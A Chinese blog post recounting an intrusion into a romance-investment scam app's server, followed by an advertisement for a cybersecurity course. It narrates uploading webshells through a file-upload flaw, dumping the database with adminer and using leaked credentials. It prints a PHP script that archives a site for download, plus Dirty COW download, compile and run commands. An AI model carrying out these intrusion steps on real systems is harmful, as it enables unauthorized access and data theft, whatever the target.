记一次渗透之旅 ,网络安全学习至上

所谓“杀猪盘”,是指诈骗分子利用网络交友通常是“异性”交友,诱导受害人下载诈骗APP并在上面进行各种“投资”,如菠菜、股票、期货甚至虚拟货币的网络诈骗。今年某月某日小白就遭遇了这种骗局,他先是被骗子通过QQ添加并下载了一个名为”心动“的APP,在“心动“APP上结识了位名为“xx老师”的美女,小白被美色迷了眼打算相约这名网友,但是美女则借口让他下载另一个名为午夜乐园的APP进行投资,果不其然小白被成功骗取10余万。

0x01 APP测试准备

根据小白的描述,我们关注到以下几点信息,分别是 QQ、“心动”APP以及“午夜乐园”APP,但是小白因不堪被骗将骗子QQ删除了。所以我们无法从QQ号这点进行入手,但是这两个APP的APK包倒是存在,于是开始渗透分析。

安装APP

使用夜神模拟器安装这两个APP,为了方便起见就使用安卓5.0版本,否则无法抓取到 https 数据包

小知识:从 Android 7.0 开始,默认的网络安全性配置修改,默认不再信任用户添加的 CA 证书,也就不再信任抓包工具的证书

因为“午夜乐园”APP需要邀请码才能注册,所以我们先安装“心动”APP

【一>所有资源获取<一】 1、200份很多已经买不到的绝版电子书 2、30G安全大厂内部的视频资料 3、100份src文档 4、常见安全面试题 5、ctf大赛经典题目解析 6、全套工具包 7、应急响应笔记 8、网络安全学习路线

设置抓包

在 BurpSuite 中设置监听地址以及监听端口,其中地址为内网的IP地址

设置网络中的 HTTP 代理为 BurpSuite 中的代理地址和端口

访问百度,在 Burp Suite 中成功抓取到数据包

现在针对 http 协议的数据包都可以抓取到了

安装证书

接下来为了抓取到 https 的数据包,我们需要为其安装 CA 证书

访问https://burp点击CA开始下载证书,下载完成后在设置中找到安全

选择从SD卡安装

选择之前下载的证书并为证书命名

用户凭据中已存在证书

访问https://www.baidu.com

在 Burp Suite 中成功抓取到 https 数据包

0x02 上线shell

初探上传漏洞

在APP中注册一个测试账号

发现在发布动态处存在文件上传

使用 Burp Suite 截取数据包,测试后发现目标站点只返回0或1

上传后在朋友圈界面发现该功能正常,那么对应的图片路径在哪呢?

通过抓包发现该图片的具体地址

修改数据包将其文件名后缀修改为php时则无法上传,可能存在防护机制

文件上传漏洞获取webshell

尝试了几种绕过方式无果后,在朋友圈背景图片发现文件上传点,将冰蝎上传

幸运的是目标直接返回了木马地址,使用冰蝎连接目标

至此 webshell 成功上线,但可惜的是这是 docker 环境。同时为了维持对目标站点的控制,继续上传了一个哥斯拉马

0x03 信息收集

查看当前环境

查看当前用户为普通的 www 用户,能够执行一些简单的命令

查看文件管理,发现网站下存在 thinkphp 框架,开始寻找配置文件

数据库登录

在配置文件中发现数据库连接文件

return [// 数据库类型'type'=> Env::get('database.type', 'mysql'),// 服务器地址'hostname'=> Env::get('database.hostname', '192.168.0.59'),// 数据库名'database'=> Env::get('database.database', 'netchat'),// 用户名'username'=> Env::get('database.username', 'root'),// 密码'password'=> Env::get('database.password', 'MysqlNetchatPWD#'),// 端口'hostport'=> Env::get('database.hostport', '3305'),
]; 

由于无法通过冰蝎无法连接数据库,我们上传 adminer 连接数据库,将服务器地址设置为192.168.0.59:3305,输入账号和密码

在 adminer 中选择数据库导出,将当前数据库直接打包下载

后台地址与账号密码

在数据库中还有些意外收获,里面包含了一些管理员的账号密码

经过解密后发现 admin666 密码为123456

查看 admin_log 表后发现登录地址为https://xx.xx.xx.xx/adim888/index/login

访问后为如下界面,我们只需要输入账号密码与谷歌验证码即可登录,为了不打草精神未直接登录后台。

打包网站

接下来为了方便分析,使用如下脚本打包整个网站进行下载

<?php

error_reporting(0);

class PHPZip{var $dirInfo = array("0","0");var $datasec = array();var $ctrl_dir = array();var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";var $old_offset = 0;function createZip($dir, $zipfilename){if (@function_exists('gzcompress')){@set_time_limit("0");if (is_array($dir)){$fd = fopen ($dir, "r");$fileValue = fread ($fd, filesize ($filename));fclose ($fd);if (is_array($dir)) $filename = basename($dir);$this -> addFile($fileValue, "$filename");}else{$this->dirTree($dir,$dir);}$out = $this -> filezip();$fp = fopen($zipfilename, "w");fwrite($fp, $out, strlen($out));fclose($fp);$filesize = filesize($zipfilename);if ($filesize < 104857600) {echo "create zip success!";} else {echo "create zip error!";}} }//get dir tree..function dirTree($directory,$rootDir){$fileDir = $rootDir;$myDir = dir($directory);while($file=$myDir->read()){if(is_dir("$directory/$file") and $file!="." and $file!=".."){$this->dirInfo[0]++;$rootDir ="$fileDir$file/";$this -> addFile('', "$rootDir");//go on n's folders$this->dirTree("$directory/$file",$rootDir);}else{if($file!="." and $file!=".."){$this->dirInfo[1]++;$fileValue = file_get_contents("$directory/$file");$this -> addFile($fileValue, "$fileDir$file");}}}$myDir->close();}function unix2DosTime($unixtime = 0) {$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);if ($timearray['year'] < 1980) { $timearray['year'] = 1980; $timearray['mon'] = 1; $timearray['mday'] = 1; $timearray['hours'] = 0; $timearray['minutes'] = 0; $timearray['seconds'] = 0;} // end ifreturn (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);}function addFile($data, $name, $time = 0){$name = str_replace('\\', '/', $name);$dtime = dechex($this->unix2DosTime($time));$hexdtime = '\x' . $dtime[6] . $dtime[7]. '\x' . $dtime[4] . $dtime[5]. '\x' . $dtime[2] . $dtime[3]. '\x' . $dtime[0] . $dtime[1];eval('$hexdtime = "' . $hexdtime . '";');$fr = "\x50\x4b\x03\x04";$fr .= "\x14\x00";// ver needed to extract$fr .= "\x00\x00";// gen purpose bit flag$fr .= "\x08\x00";// compression method$fr .= $hexdtime; // last mod time and date// "local file header" segment$unc_len = strlen($data);$crc = crc32($data);$zdata = gzcompress($data);$c_len = strlen($zdata);$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); // fix crc bug$fr .= pack('V', $crc); // crc32$fr .= pack('V', $c_len); // compressed filesize$fr .= pack('V', $unc_len); // uncompressed filesize$fr .= pack('v', strlen($name));// length of filename$fr .= pack('v', 0);// extra field length$fr .= $name;// "file data" segment$fr .= $zdata;// "data descriptor" segment (optional but necessary if archive is not// served as file)$fr .= pack('V', $crc); // crc32$fr .= pack('V', $c_len); // compressed filesize$fr .= pack('V', $unc_len); // uncompressed filesize// add this entry to array$this -> datasec[] = $fr;$new_offset= strlen(implode('', $this->datasec));// now add to central directory record$cdrec = "\x50\x4b\x01\x02";$cdrec .= "\x00\x00";// version made by$cdrec .= "\x14\x00";// version needed to extract$cdrec .= "\x00\x00";// gen purpose bit flag$cdrec .= "\x08\x00";// compression method$cdrec .= $hexdtime; // last mod time & date$cdrec .= pack('V', $crc); // crc32$cdrec .= pack('V', $c_len); // compressed filesize$cdrec .= pack('V', $unc_len); // uncompressed filesize$cdrec .= pack('v', strlen($name) ); // length of filename$cdrec .= pack('v', 0 ); // extra field length$cdrec .= pack('v', 0 ); // file comment length$cdrec .= pack('v', 0 ); // disk number start$cdrec .= pack('v', 0 ); // internal file attributes$cdrec .= pack('V', 32 );// external file attributes - 'archive' bit set$cdrec .= pack('V', $this -> old_offset ); // relative offset of local header$this -> old_offset = $new_offset;$cdrec .= $name;// optional extra field, file comment goes here// save to central directory$this -> ctrl_dir[] = $cdrec;}function filezip(){$data = implode('', $this -> datasec);$ctrldir = implode('', $this -> ctrl_dir);return$data .$ctrldir .$this -> eof_ctrl_dir .pack('v', sizeof($this -> ctrl_dir)) .// total # of entries "on this disk"pack('v', sizeof($this -> ctrl_dir)) .// total # of entries overallpack('V', strlen($ctrldir)) . // size of central dirpack('V', strlen($data)) .// offset to start of central dir"\x00\x00"; // .zip file comment length}
}

$zip = new PHPZip(); 
$path = $_GET['path'];
$filename = $_GET['filename'];
if (isset($path)&&isset($filename)) {$zip -> createZip($path, $filename);
} else {echo "please input correct path and filename, like <a href=#>http://example.com?path=/home&filename=home.zip</a>";
}

?> 

IP地址查询

通过简单的sql语句对 admin 登录日志进行查询

select distinct ip from yl_admin_log limit 50 

发现该站点的登录IP都是国外的IP,猜测网站管理员都是通过代理或本身就在国外访问的后台

而查询 yl_core_ip 表中发现了一个IP

查询微步后,该IP已经被打上了恶意地址标签

0x04 权限提升

由于当前权限比较低,我们也需要拿到 docker 环境下的 root 权限,但是我没有提权成功,自然也无法利用 docker 逃逸来跳到其真实环境下。这里演示下我使用脏牛提权的失败记录吧。

系统信息收集

uname -a
cat /etc/issue 

当前系统为 Debian GNU/Linux 10

漏洞查询

上传linuxenumlinux-exploit-suggestor,赋予执行权限并执行

chmod 777 linuxenum.sh
chmod 777 linux-exploit-suggestor.sh 

脏牛提权

通过 linux-exploit-suggestor 返回的结果,其中存在脏牛漏洞

wget https://www.exploit-db.com/download/40616 ##这里我直接上传了
mv 40616 cowroot.c
## 正式从这开始
gcc cowroot.c -o cowroot -pthread
chmod +x cowroot
./cowroot 

失败过程就不截图了

0x05 受骗分析及警示

登录客服查看聊天记录

在数据库中还有相关客服用户的账号密码,直接解码后面的 base64 编码就可以获取到明文

登录几个客服用户进行查看

杀猪盘流程

这里我们也根据小白的注册时间找到了它的账号,为q123456x

通过注册IP确认该用户为受害人账号。但是尝试登录后发现该用户已经被锁定,在数据库中发现该用户的islogin为0,修改为1后还是无法登录,通过查看管理员的操作记录,发现其一直在封锁账号。 学习网络安全技术的方法无非三种:

第一种是报网络安全专业,现在叫网络空间安全专业,主要专业课程:程序设计、计算机组成原理原理、数据结构、操作系统原理、数据库系统、 计算机网络、人工智能、自然语言处理、社会计算、网络安全法律法规、网络安全、内容安全、数字取证、机器学习,多媒体技术,信息检索、舆情分析等。

第二种是自学,就是在网上找资源、找教程,或者是想办法认识一-些大佬,抱紧大腿,不过这种方法很耗时间,而且学习没有规划,可能很长一段时间感觉自己没有进步,容易劝退。

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

第三种就是去找培训。

image.png

接下来,我会教你零基础入门快速入门上手网络安全。

网络安全入门到底是先学编程还是先学计算机基础?这是一个争议比较大的问题,有的人会建议先学编程,而有的人会建议先学计算机基础,其实这都是要学的。而且这些对学习网络安全来说非常重要。但是对于完全零基础的人来说又或者急于转行的人来说,学习编程或者计算机基础对他们来说都有一定的难度,并且花费时间太长。

第一阶段:基础准备 4周~6周

这个阶段是所有准备进入安全行业必学的部分,俗话说:基础不劳,地动山摇
image.png

第二阶段:web渗透

学习基础 时间:1周 ~ 2周:

① 了解基本概念:(SQL注入、XSS、上传、CSRF、一句话木马、等)为之后的WEB渗透测试打下基础。
② 查看一些论坛的一些Web渗透,学一学案例的思路,每一个站点都不一样,所以思路是主要的。
③ 学会提问的艺术,如果遇到不懂得要善于提问。
image.png

配置渗透环境 时间:3周 ~ 4周:

① 了解渗透测试常用的工具,例如(AWVS、SQLMAP、NMAP、BURP、中国菜刀等)。
② 下载这些工具无后门版本并且安装到计算机上。
③ 了解这些工具的使用场景,懂得基本的使用,推荐在Google上查找。

渗透实战操作 时间:约6周:

① 在网上搜索渗透实战案例,深入了解SQL注入、文件上传、解析漏洞等在实战中的使用。
② 自己搭建漏洞环境测试,推荐DWVA,SQLi-labs,Upload-labs,bWAPP。
③ 懂得渗透测试的阶段,每一个阶段需要做那些动作:例如PTES渗透测试执行标准。
④ 深入研究手工SQL注入,寻找绕过waf的方法,制作自己的脚本。
⑤ 研究文件上传的原理,如何进行截断、双重后缀欺骗(IIS、PHP)、解析漏洞利用(IIS、Nignix、Apache)等,参照:上传攻击框架。
⑥ 了解XSS形成原理和种类,在DWVA中进行实践,使用一个含有XSS漏洞的cms,安装安全狗等进行测试。
⑦ 了解一句话木马,并尝试编写过狗一句话。
⑧ 研究在Windows和Linux下的提升权限,Google关键词:提权
image.png
以上就是入门阶段

第三阶段:进阶

已经入门并且找到工作之后又该怎么进阶?详情看下图
image.png

给新手小白的入门建议:
新手入门学习最好还是从视频入手进行学习,视频的浅显易懂相比起晦涩的文字而言更容易吸收,这里我给大家准备了一套网络安全从入门到精通的视频学习资料包免费领取哦!

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

![](https://img-blog.csdnimg.cn/3e9a39bf040d46da93e80689b407bb25.png)
  • 16
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值